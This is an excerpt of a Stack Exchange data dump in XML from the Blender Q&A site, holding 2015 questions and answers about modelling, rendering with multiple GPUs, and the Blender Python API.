  <row Id="31747" PostTypeId="2" ParentId="31727" CreationDate="2015-05-31T05:05:40.267" Score="2" Body="&lt;p&gt;The plugin is called now &lt;strong&gt;add_mesh_extra_objects&lt;/strong&gt;. To enable it press &lt;kbd&gt; Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt; to open the preferences window. On the Addons tab type &lt;strong&gt;&lt;em&gt;extra&lt;/em&gt;&lt;/strong&gt; and and check the box for Add Mesh:Extra Objects&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/crlGe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the add menu you'll have the option Mesh-&gt; Math_Function-&gt;Solid&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nFJ25.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable the Tool Shelf by pressing &lt;kbd&gt;T&lt;/kbd&gt; (or press &lt;kbd&gt;F^&lt;/kbd&gt;) and select Ichosahedron.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the vertex truncation type 0.667&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qrath.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-05-31T05:05:40.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31748" PostTypeId="2" ParentId="31737" CreationDate="2015-05-31T06:09:44.460" Score="2" Body="&lt;p&gt;If this is the effect you're looking to achieve&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gEflJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the way I managed it using the blend file you uploaded to dropbox was: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) [if not already activated,] activate the Mesh:LoopTools addon by means of User Preferences &gt; Addons &gt; Mesh:LoopTools;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) delete the outer edges joining the two torii in your blend file;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Select the each of the edge loops you did on the two torii by deselecting all vertices &lt;kbd&gt;A key&lt;/kbd&gt;, followed by selecting the same edge loop you had selected on one torus, holding the shift key and selecting the same edge loop you had on the other torus; and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) In the Edges menu (&lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;E key&lt;/kbd&gt;) choosing the &quot;Bridge Edge Loops&quot; option. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Caveats&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the screenshot shows, I performed these steps in 2.71. My memory on this is just a bit hazy, but it seems to me that up until some version of Blender (2.6?) the Mesh:LoopTools Addon may not have been included in the distribution, and you may need to find it and install it from the Blender Addons repository. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your two torii seem to have the same number of segments; if the two torii do not have the same number of segments the results may not be shown as here, and you may need to adjust the results differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order for this method to work, the two meshes you want to join need to be part of the same object. If you add the second torus to the first as a different object, the two torii need to be combined into the same object as in the method set out in the other question you cited, and then the expanded object manipulated in edit mode.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2015-05-31T06:21:15.660" LastActivityDate="2015-05-31T06:21:15.660" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31749" PostTypeId="2" ParentId="31744" CreationDate="2015-05-31T06:35:36.983" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;Consider an [Array Modifier] followed by a [Curve modifier]&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G8YTP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;In the above image you see some distortion of angles between faces.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Consider a script which calculates [x constant offset] of the array modifier.  Note the warning.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/EW2Lc.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jHpWy.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/eEXjf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Consider a [spline constraint ] where each track has a one-to-one correspondence with a single bone.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-05-31T07:26:23.930" LastActivityDate="2015-05-31T07:26:23.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31750" PostTypeId="2" ParentId="31738" CreationDate="2015-05-31T06:37:52.167" Score="11" Body="&lt;p&gt;This was added to speed up scripts. The &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.73/Addons&quot; rel=&quot;noreferrer&quot;&gt;Blender 2.73 release notes&lt;/a&gt; mention it and reference &lt;a href=&quot;https://developer.blender.org/rB785b90d7efd0&quot; rel=&quot;noreferrer&quot;&gt;the commit&lt;/a&gt; that introduced it (in the Python API section)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A backwards compatible solution is the following addition before any code that accesses bm.verts / bm.edges / bm.faces indices explicitly. For clarity, that means if an addon has any code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bm.verts[i]&#xA;bm.edges[i]&#xA;bm.faces[i]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then preceding it must be a call to &lt;code&gt;ensure_lookup_table&lt;/code&gt;. Often you'll only need to do one such call, and you'll want to stick it outside of any tight loops if possible. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if hasattr(bm.verts, &quot;ensure_lookup_table&quot;): &#xA;    bm.verts.ensure_lookup_table()&#xA;    # only if you need to:&#xA;    # bm.edges.ensure_lookup_table()   &#xA;    # bm.faces.ensure_lookup_table()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you add new &lt;em&gt;verts / edges / faces&lt;/em&gt; to the bm, and then subsequently do an indexed lookup you might find that you need to call &lt;code&gt;ensure_lookup_table&lt;/code&gt; again.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-31T06:58:26.413" LastActivityDate="2015-05-31T06:58:26.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31751" PostTypeId="1" CreationDate="2015-05-31T07:14:05.700" Score="1" ViewCount="892" Body="&lt;p&gt;Whenever I have sequencer on under Post Processing only the movie in the video sequence shows up while redering and not the animation. When I turn of sequencer the animation shows up but not the movie in the video sequence. Any advice?&lt;/p&gt;&#xA;" OwnerUserId="14713" LastActivityDate="2015-09-28T11:38:57.100" Title="Sequencer won't show the actual animation" Tags="&lt;blender-internal-render-engine&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31752" PostTypeId="2" ParentId="31751" CreationDate="2015-05-31T07:29:53.243" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a second scene.  The first scene, has 3D geometry, and has sequencer turned off.  The second scene is new and has no 3D geometry, and has sequencer turned on, and compositor turned off.  This suits many peoples work flow.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Practice switching scenes. It will become easy.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PnbL2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Many people render a 3d scene as a series of images [image sequence] or movie.  Next they combine many image sequences or movies in the Blender VSE.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-05-31T07:57:59.517" LastActivityDate="2015-05-31T07:57:59.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31753" PostTypeId="2" ParentId="31745" CreationDate="2015-05-31T08:20:37.163" Score="1" Body="&lt;p&gt;In edit mode you can assign different materials to different faces in an object. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/uKjuJ.png&quot; alt=&quot;screen shot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have 2 materials:&#xA;Face&#xA;Body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;duplicate the material set up&#xA;set the input texture of the body and the Face correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UV maps work on a value of 0-1 over the U and V axis, if you have a face outside of the grid, it restarts from 0, causing a repeat of the UV coordinates.&lt;/p&gt;&#xA;" OwnerUserId="5838" LastActivityDate="2015-05-31T08:20:37.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31754" PostTypeId="2" ParentId="31733" CreationDate="2015-05-31T08:54:57.130" Score="2" Body="&lt;p&gt;something like this would let you determine if the polygon is back or front facing in the current view context, given a bm and a polygon to check:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def is_front_facing(context, bm, polygon):&#xA;    &quot;&quot;&quot;&#xA;    When deciding if a polygon is facing the camera, you need &#xA;    only calculate the dot product of the normal vector of     &#xA;    that polygon, with a vector from the camera to one of the &#xA;    polygon's vertices. &#xA;&#xA;    - If the dot product is less than zero, the polygon is facing the camera. &#xA;    - If the value is greater than zero, it is facing away from the camera.&#xA;    &quot;&quot;&quot;&#xA;&#xA;    region = context.region  &#xA;    rv3d = context.space_data.region_3d  &#xA;&#xA;    # neat eye location code with the help of paleajed&#xA;    eye = Vector(rv3d.view_matrix[2][:3])&#xA;    eye.length = rv3d.view_distance&#xA;    eye_location = rv3d.view_location + eye  &#xA;&#xA;    pnormal = obj.matrix_world.to_3x3() * polygon.normal&#xA;    world_coordinate = obj.matrix_world * polygon.verts[0].co&#xA;&#xA;    result_vector = eye_location - world_coordinate&#xA;    dot_value = pnormal.dot(result_vector)            &#xA;&#xA;    return not (dot_value &amp;lt; 0.0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I ripped &lt;a href=&quot;https://github.com/zeffii/rawr/blob/master/svg_tests/bvp_to_svg.py&quot; rel=&quot;nofollow&quot;&gt;this out of some old code&lt;/a&gt;, it might help to see it in context if it doesn't work. It will be important to establish which &lt;code&gt;rv3d&lt;/code&gt; to use, because a polygon that is back-facing if viewed from the top, will be reversed if viewed from the bottom.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-31T09:31:03.510" LastActivityDate="2015-05-31T09:31:03.510" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31755" PostTypeId="2" ParentId="31746" CreationDate="2015-05-31T08:56:47.090" Score="4" Body="&lt;p&gt;No that isn't an available feature. The network render only supports rendering final images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best you can do to speedup viewport rendering is to use the machine with the best GPU that can be used by cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other options include using border render to only render the part of the scene you are most interested in.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-05-31T08:56:47.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31756" PostTypeId="1" AcceptedAnswerId="31757" CreationDate="2015-05-31T10:47:53.887" Score="2" ViewCount="208" Body="&lt;p&gt;In the first example, &lt;code&gt;a is b&lt;/code&gt; returns True as it should. In the second, it is False. (assume Blender is just opened and the default cube is present and selected).  I thought I was starting to understand until I got &lt;code&gt;False&lt;/code&gt;.  This is copied form the Python console.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; a = [1, 2, 3]&#xA;&amp;gt;&amp;gt;&amp;gt; b = a&#xA;&amp;gt;&amp;gt;&amp;gt; a == b&#xA;True&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; a is b&#xA;True&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; a = bpy.context.active_object.data&#xA;&amp;gt;&amp;gt;&amp;gt; b = bpy.data.meshes[bpy.context.active_object.name]&#xA;&amp;gt;&amp;gt;&amp;gt; a&#xA;bpy.data.meshes['Cube']&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; b&#xA;bpy.data.meshes['Cube']&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; type(a)&#xA;&amp;lt;class 'bpy_types.Mesh'&amp;gt;&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; type(b)&#xA;&amp;lt;class 'bpy_types.Mesh'&amp;gt;&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; a == b&#xA;True&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; a is b&#xA;False   # WHY?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another example based on @ideasman42 explanation...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; a = bpy.context.object&#xA;&amp;gt;&amp;gt;&amp;gt; b = bpy.context.object&#xA;&amp;gt;&amp;gt;&amp;gt; a is b&#xA;False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5334" LastEditorUserId="55" LastEditDate="2015-05-31T11:31:29.107" LastActivityDate="2015-05-31T14:20:07.087" Title="Blender Python Data (equality works between instances, identity not)" Tags="&lt;python&gt;&lt;scripting&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31757" PostTypeId="2" ParentId="31756" CreationDate="2015-05-31T11:03:48.930" Score="2" Body="&lt;p&gt;Each time you access &lt;code&gt;object.data&lt;/code&gt; it will return a new instance,&#xA;however this is a very small data type to access the real mesh data stored in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Equality works as expected (and they have the same &lt;code&gt;__hash__&lt;/code&gt;), so you can put them into &lt;code&gt;dict&lt;/code&gt;/&lt;code&gt;set&lt;/code&gt; types. You just can't rely on identity. (As with any 2 strings with the same content).&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-05-31T11:11:56.747" LastActivityDate="2015-05-31T11:11:56.747" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31758" PostTypeId="1" CreationDate="2015-05-31T11:18:17.917" Score="2" ViewCount="203" Body="&lt;p&gt;I want to use the pack option to maximize space in my UVs, but there are some UVs that I'm overlapping to get a repeat of the texture underneath. Is there a way to pack the remaining/non-overlapping UVs around the overlapping ones, so that they all fit without disturbing the coordinates of the overlapped UVs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's relevant, I'm importing this file into something that only allows for a single texture, material, and object, so all UVs have to be on the same map.&lt;/p&gt;&#xA;" OwnerUserId="14468" LastEditorUserId="14468" LastEditDate="2015-05-31T11:43:37.083" LastActivityDate="2015-05-31T11:43:37.083" Title="Is there a way to pack selected UVs around unselected UVs?" Tags="&lt;uv&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31759" PostTypeId="1" AcceptedAnswerId="32120" CreationDate="2015-05-31T11:31:21.323" Score="4" ViewCount="1851" Body="&lt;p&gt;So far I haven't found a clear distinction between &lt;code&gt;bpy.context.object&lt;/code&gt; and &lt;code&gt;bpy.context.active_object&lt;/code&gt;, are they currently interchangeable? If so, might they be different in the future?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit:&lt;/strong&gt; Blender continues to evolve - &lt;strong&gt;are these still interchangeable&lt;/strong&gt;? Are they identical? Is there any plan or thought given to give them separate meanings being thought about for the future?&lt;/p&gt;&#xA;" OwnerUserId="5334" LastEditorUserId="5334" LastEditDate="2016-10-10T13:56:33.143" LastActivityDate="2016-10-10T13:56:33.143" Title="are bpy.context.object and bpy.context.active_object STILL the same?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31760" PostTypeId="2" ParentId="31740" CreationDate="2015-05-31T12:36:50.643" Score="1" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/q8Qdx.png&quot; alt=&quot;Image&quot;&gt;&#xA;This works for me. I changed it as little as possible. The red plane called &quot;png&quot; is the plane of your cursor. In the ground plane I put a mouse-over sensor called &quot;mouse&quot;. I also activated true pulse trigger so that the script will run constantly when your cursor is over something.&lt;/p&gt;&#xA;" OwnerUserId="13866" LastActivityDate="2015-05-31T12:36:50.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31761" PostTypeId="2" ParentId="31756" CreationDate="2015-05-31T14:13:14.460" Score="2" Body="&lt;p&gt;In this case I am going to add an answer to my question - with my own choice of wording that makes it clear to me. It may help others in my situation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;I&quot; in API stands for interface. Objects, data, etc. are really &quot;in C&quot; (so to speak) at all times. &lt;code&gt;bpy.context.objects&lt;/code&gt;, &lt;code&gt;bpy.data.meshes&lt;/code&gt; are not THE objects or meshes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are just &quot;temporary conduits&quot; that allow information to travel between your script and the &quot;real&quot; Blender program. They are instantiated each time they are used. This is why (for example):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; bpy.context.object is bpy.context.object&#xA;False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The wording in this &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_5/info_api_reference.html#nested-properties&quot; rel=&quot;nofollow&quot;&gt;subsection&lt;/a&gt; of the API reference helped.&lt;/p&gt;&#xA;" OwnerUserId="5334" LastEditorUserId="5334" LastEditDate="2015-05-31T14:20:07.087" LastActivityDate="2015-05-31T14:20:07.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31762" PostTypeId="1" CreationDate="2015-05-31T14:15:58.807" Score="5" ViewCount="112" Body="&lt;p&gt;Is there a way to prevent the quad view (&lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;ALT&lt;/kbd&gt;+&lt;kbd&gt;Q&lt;/kbd&gt;) from resetting? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the quad view with the &quot;Lock&quot; option disabled. Each time I maximize and minimize a viewport in the quad view, the top right viewport gets reset and becomes the last view I was in. &lt;/p&gt;&#xA;" OwnerUserId="14715" LastEditorUserId="47" LastEditDate="2015-05-31T15:52:09.360" LastActivityDate="2015-05-31T15:52:09.360" Title="Prevent quad view from resetting?" Tags="&lt;3d-view&gt;&lt;workflow&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31763" PostTypeId="1" AcceptedAnswerId="31773" CreationDate="2015-05-31T14:44:51.067" Score="5" ViewCount="835" Body="&lt;p&gt;Modo has this nice feature where you can use the up-arrow key to increase the selection in a smart way. Let's say for example I have a face selelection in a line like this: (x is selected, _ is not)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;X__X__X____________________&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and I hit the up arrow in modo a few times it would recognize the pattern of &quot;select one, skip two and select one face&quot; to give you this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;X__X__X__X__X__X__X__X__X__X&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't find anything in blender that does this. Or is there an addon?&lt;/p&gt;&#xA;" OwnerUserId="3028" LastActivityDate="2016-08-16T18:53:54.647" Title="Smart Selection Increase like Modo" Tags="&lt;selection-tools&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31764" PostTypeId="1" CreationDate="2015-05-31T14:48:59.680" Score="8" ViewCount="12272" Body="&lt;p&gt;I know that you can't mix different spec cards for SLI gaming, but I suspect that when it comes to 3D rendering, the renderer will simply divide the work up automatically.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Choosing the optimum tile size is important for efficient usage of the core's in our processors, I suspect that the tiles will simply be distributed to the difference in power of graphic cards.  So the key to getting it to work efficiently (I suspect) is finding a tile size which allows the renderer to effortlessly divide the work to graphics cards with different cuda core sizes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my e specific case, I have a GTX 970 and a TITAN X; can I use them both for rendering?&lt;/p&gt;&#xA;" OwnerUserId="14716" LastEditorUserId="3078" LastEditDate="2015-05-31T18:37:53.373" LastActivityDate="2017-11-14T00:25:14.803" Title="Is it possible to use different CUDA-capable graphic cards to render simultaneously?" Tags="&lt;cycles-render-engine&gt;&lt;performance&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31765" PostTypeId="2" ParentId="31764" CreationDate="2015-05-31T15:12:18.167" Score="15" Body="&lt;p&gt;Yes, you can use multiple GPUs for cycles rendering even if they are not the same kind (as long as they are not a mix of Nvida and AMD/ATI based cards).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding additional GPUs is the easiest way to speed rendering in cylces. Two GPUs will render an image in almost half the time it would take to render with only one. 4 GPUs will cut rendering times to almost 1/4...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;em&gt;Compute Device&lt;/em&gt; section of the User preferences you can choose the GPUs to be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When rendering in cycles, each GPU will render one tile and move on to the next unrendered tile until there are no more tiles left to render. Blender will render simultaneously as many tiles as there are GPUs available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each GPU will render it's assigned tiles, but if one of the GPUs is substantially slower it will just not render as may tiles within a frame as a faster GPU, and that might even cause the rest of the GPUs to idle until the rendering of the last tile is done.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The available memory for rendering will not be the sum of all the memory installed on the cards, but will be limited to the vRAM of the smallest card. In other words: adding a new GPU with 8GB to a system that has an old GPU with only 2GB, will make the new GPU only use 2GB of vRAM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find the optimal tile size you'll have to experiment a bit, as it varies depending on the the geometry, the size and complexity of the textures used. A good starting size is 256x256 but I suspect the cards you mention might be able to deal with larger tiles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other considerations: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that GPUs that are connected to a monitor (or monitors) will not work as efficiently as those that are just used for rendering. Refreshing the screen(s) or using other applications might also take away from the resources available for rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If one of the GPUs is substantially slower or has a very limited amount of vRAM, it might be more efficient to have the less powerful card just take care of refreshing the monitors and not take part in the rendering&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rendering using GPU is generally faster than rendering on CPU, but there are still a lot of processes (ie. physics, particles, baking, etc) that are not dependent on the GPU, so having two or more GPUs will not make simulations cache or bake any faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your scene has very large textures or needs to use more RAM than what's available on the GPUs, your scene will fail and not render, no matter how many cards you put in. For very big scenes with large textures that require a olt of RAM, you might still be limited to rendering on CPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check that your power supply is adequate to handle both cards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With two or GPUs your machine will generate a lot more heat. Make sure you have an adequate cooling system. If the machine overheats it will slow down and eventually shutdown or fail.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2017-11-14T00:25:14.803" LastActivityDate="2017-11-14T00:25:14.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31766" PostTypeId="1" AcceptedAnswerId="31768" CreationDate="2015-05-31T15:23:53.180" Score="9" ViewCount="34100" Body="&lt;p&gt;I try to import .obj files from this project: &lt;a href=&quot;http://dbarchive.biosciencedbc.jp/en/bodyparts3d/download.html&quot; rel=&quot;noreferrer&quot;&gt;http://dbarchive.biosciencedbc.jp/en/bodyparts3d/download.html&lt;/a&gt; -&#xA;the files contain &lt;em&gt;Polygon Mesh Data&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I import the obj file into blender, the &lt;strong&gt;outliner shows a new mesh&lt;/strong&gt; added, &lt;strong&gt;but nothing is visible in the 3D viewport&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lGNLA.png&quot; alt=&quot;Import&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EtWuU.png&quot; alt=&quot;Nothing Visible&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help will be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="14718" LastEditorUserId="241" LastEditDate="2020-06-26T13:41:21.890" LastActivityDate="2020-08-05T18:38:17.730" Title="Unable to see anything after importing .obj file" Tags="&lt;objects&gt;&lt;3d-view&gt;&lt;import&gt;&lt;obj&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31767" PostTypeId="2" ParentId="31762" CreationDate="2015-05-31T15:41:06.310" Score="4" Body="&lt;p&gt;NO, it's not possible: modified quad views reset to the default if you exit quad view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A workaround would be to create a new screen layout that has your modified quad view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GoyHc.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-05-31T15:41:06.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31768" PostTypeId="2" ParentId="31766" CreationDate="2015-05-31T15:47:46.313" Score="6" Body="&lt;p&gt;Imported objects from other file formats, are some times really small, off centered, or very far away from scene origin, compared to the default scene scale.&lt;/p&gt;&#xA;&lt;p&gt;First step is to make sure anything was actually imported. Look in the &lt;em&gt;Outliner&lt;/em&gt; for new objects under current collection (geometry should be of mesh type). If there are any, use the outliner to select them.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fr6Wo.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then with the mouse over the &lt;em&gt;3D View&lt;/em&gt; press the &lt;kbd&gt;Numpad .&lt;/kbd&gt; (Period) key, or go to &lt;em&gt;View &amp;gt; Frame Selected&lt;/em&gt; for 2.8+, to view selected objects.&#xA;This will zoom in tightly on the selected object.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IJj8w.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="19307" LastEditorDisplayName="user1853" LastEditDate="2020-08-05T18:38:17.730" LastActivityDate="2020-08-05T18:38:17.730" CommentCount="0" CommunityOwnedDate="2015-05-31T15:47:46.313" ContentLicense="CC BY-SA 4.0" />
  <row Id="31769" PostTypeId="1" AcceptedAnswerId="31771" CreationDate="2015-05-31T16:38:27.003" Score="27" ViewCount="92525" Body="&lt;p&gt;I want to take an object that I have scaled in object mode and set the current scale to 1. I can find the current scale, clear the scale with Alt+S, and then switch to edit mode and scale to what it was before I cleared the scale. Is there a built in way to do this? Modifiers build off of the object scale, so it would be nice to set the current scale as 1 rather than just clearing the scale and resizing in edit mode.&lt;/p&gt;&#xA;" OwnerUserId="11308" LastActivityDate="2015-05-31T16:50:30.980" Title="How to set the current scale to 1?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="4" ClosedDate="2015-05-31T16:51:42.903" ContentLicense="CC BY-SA 3.0" />
  <row Id="31770" PostTypeId="1" AcceptedAnswerId="31775" CreationDate="2015-05-31T16:44:00.603" Score="8" ViewCount="1058" Body="&lt;p&gt;I'd like to know if it's possible to display text, with blf module, in the viewport with 2 colors ?&#xA;For exemple, i want to draw &quot;Ngon: 5&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Ngon:&quot; should be red and &quot;5&quot; should be blue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did i have to draw my text separatly or is it possible to define the color in the string ?&lt;/p&gt;&#xA;" OwnerUserId="11582" LastActivityDate="2015-05-31T17:37:52.950" Title="Draw text with 2 colors in viewport" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
